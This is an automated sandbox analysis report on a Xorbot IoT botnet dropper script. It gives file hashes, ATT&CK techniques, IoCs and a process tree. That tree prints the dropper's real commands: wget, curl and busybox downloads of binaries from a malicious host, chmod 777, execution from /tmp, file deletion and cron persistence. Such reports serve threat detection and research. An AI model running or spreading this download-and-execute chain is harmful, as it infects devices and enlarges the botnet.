xorbot | 2aa561a1214f0e685c870f3b029c4872f4a14fde1690aa6835589a9bee294fbb

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/12/2024, 08:16

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General

Target

bins.sh
Size

10KB
MD5

672174c51ac134a17ea9070d6a4d9787
SHA1

b96ae1e73a9ed3d8ef312776bafa255c43550aa1
SHA256

2aa561a1214f0e685c870f3b029c4872f4a14fde1690aa6835589a9bee294fbb
SHA512

94769fdd9da1f94001aa6ac3176efff4af823d98b58f8b31c434eb372eeb7ae402608ebb03519a4183791fe1a1b9bf49cebde0af1e10dfda620cbca228f609ac
SSDEEP

192:/2V9eH7wrL7K5FdUSPxdCKj10IQu5V9eH7cL7K5FXPrPCKj10IC:/orL7K5FdUCGuTL7K5F3U

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-8.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2024) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod
835	chmod
854	chmod
861	chmod
868	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr	742	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
/tmp/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps	836	0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
/tmp/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf	855	3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
/tmp/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM	862	zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
/tmp/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK	869	CWNead6Zm5VcaiCcEI642isEINfpRgc5MK

Renames itself 1 IoCs

pid	Process
743	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Wt69Iw	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/523/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/797/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/822/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/897/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/914/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/943/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/959/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/21/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/764/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/782/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/906/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1040/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/11/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/71/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/78/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/717/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/821/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1008/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/16/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/774/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/841/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/845/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1033/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1051/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/116/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/805/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/928/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1012/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1042/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/804/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/877/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/964/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1004/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1011/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1013/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/773/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/828/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/924/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1019/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1024/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/338/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/404/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/749/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/760/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/813/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/972/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/19/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/337/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/748/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/786/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/879/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/916/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/980/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1068/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/115/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/1015/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/904/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/6/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/14/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/765/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/788/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/814/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
File opened for reading	/proc/961/cmdline	KwJs76sj89zPnCwtoBLzpToisGdNCofOmr

System Network Configuration Discovery 1 TTPs 17 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
740	busybox
752	wget
840	curl
859	curl
877	curl
716	wget
853	busybox
865	wget
867	busybox
730	curl
858	wget
872	wget
833	curl
839	wget
860	busybox
866	curl
834	busybox

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf	busybox
File opened for modification	/tmp/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM	busybox
File opened for modification	/tmp/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK	busybox
File opened for modification	/tmp/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr	wget
File opened for modification	/tmp/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr	curl
File opened for modification	/tmp/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr	busybox
File opened for modification	/tmp/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
  ./KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:742
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:744
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:745
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:746
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:747
- /bin/rm
  rm KwJs76sj89zPnCwtoBLzpToisGdNCofOmr
  2⤵
  PID:749
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
  2⤵
  - System Network Configuration Discovery
  PID:752
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
  2⤵
  - System Network Configuration Discovery
  PID:833
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod 777 0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
  ./0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm 0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps
  2⤵
  PID:838
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
  2⤵
  - System Network Configuration Discovery
  PID:839
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
  2⤵
  - System Network Configuration Discovery
  PID:840
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:853
- /bin/chmod
  chmod 777 3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
  ./3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
  2⤵
  - Executes dropped EXE
  PID:855
- /bin/rm
  rm 3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf
  2⤵
  PID:857
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
  2⤵
  - System Network Configuration Discovery
  PID:858
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
  2⤵
  - System Network Configuration Discovery
  PID:859
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/chmod
  chmod 777 zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
  ./zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM
  2⤵
  PID:864
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
  2⤵
  - System Network Configuration Discovery
  PID:866
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod 777 CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
  ./CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm CWNead6Zm5VcaiCcEI642isEINfpRgc5MK
  2⤵
  PID:871
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AG18R7AzCQJyEYEUTLuS7Za9EHNTDczYLj
  2⤵
  - System Network Configuration Discovery
  PID:872
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AG18R7AzCQJyEYEUTLuS7Za9EHNTDczYLj
  2⤵
  - System Network Configuration Discovery
  PID:877

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/0JtD15C9ibBAz5GOzsdkGpX0TTEHbEoSps

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/3fNnmy23AxYy94evD2vVxlxd9rdd3M7jyf

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/CWNead6Zm5VcaiCcEI642isEINfpRgc5MK

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/KwJs76sj89zPnCwtoBLzpToisGdNCofOmr

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/zdwRWplfM7uF9rJkV3vJKiLcxWujmSWqVM

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.Wt69Iw

Filesize
210B

MD5
9ee78ba1a8613fc4ba4b4b6c7140bf1a

SHA1
23f0bbb64a2b3176c9070fcd8cea597336b85ec2

SHA256
0aa8e8c807b6f7cf552d055ad088f77cdab0793e7fd8b932b12c3ac0fd754b46

SHA512
48d5d3e56b5d1ef5cf0f4bc939b72d5c59287fdb012c9e16f170c1a2d967c5570df61b9aa7c5feb74c8ff0381af3db6b4ecb57b2f35edfa902dfd5d9fec72b70

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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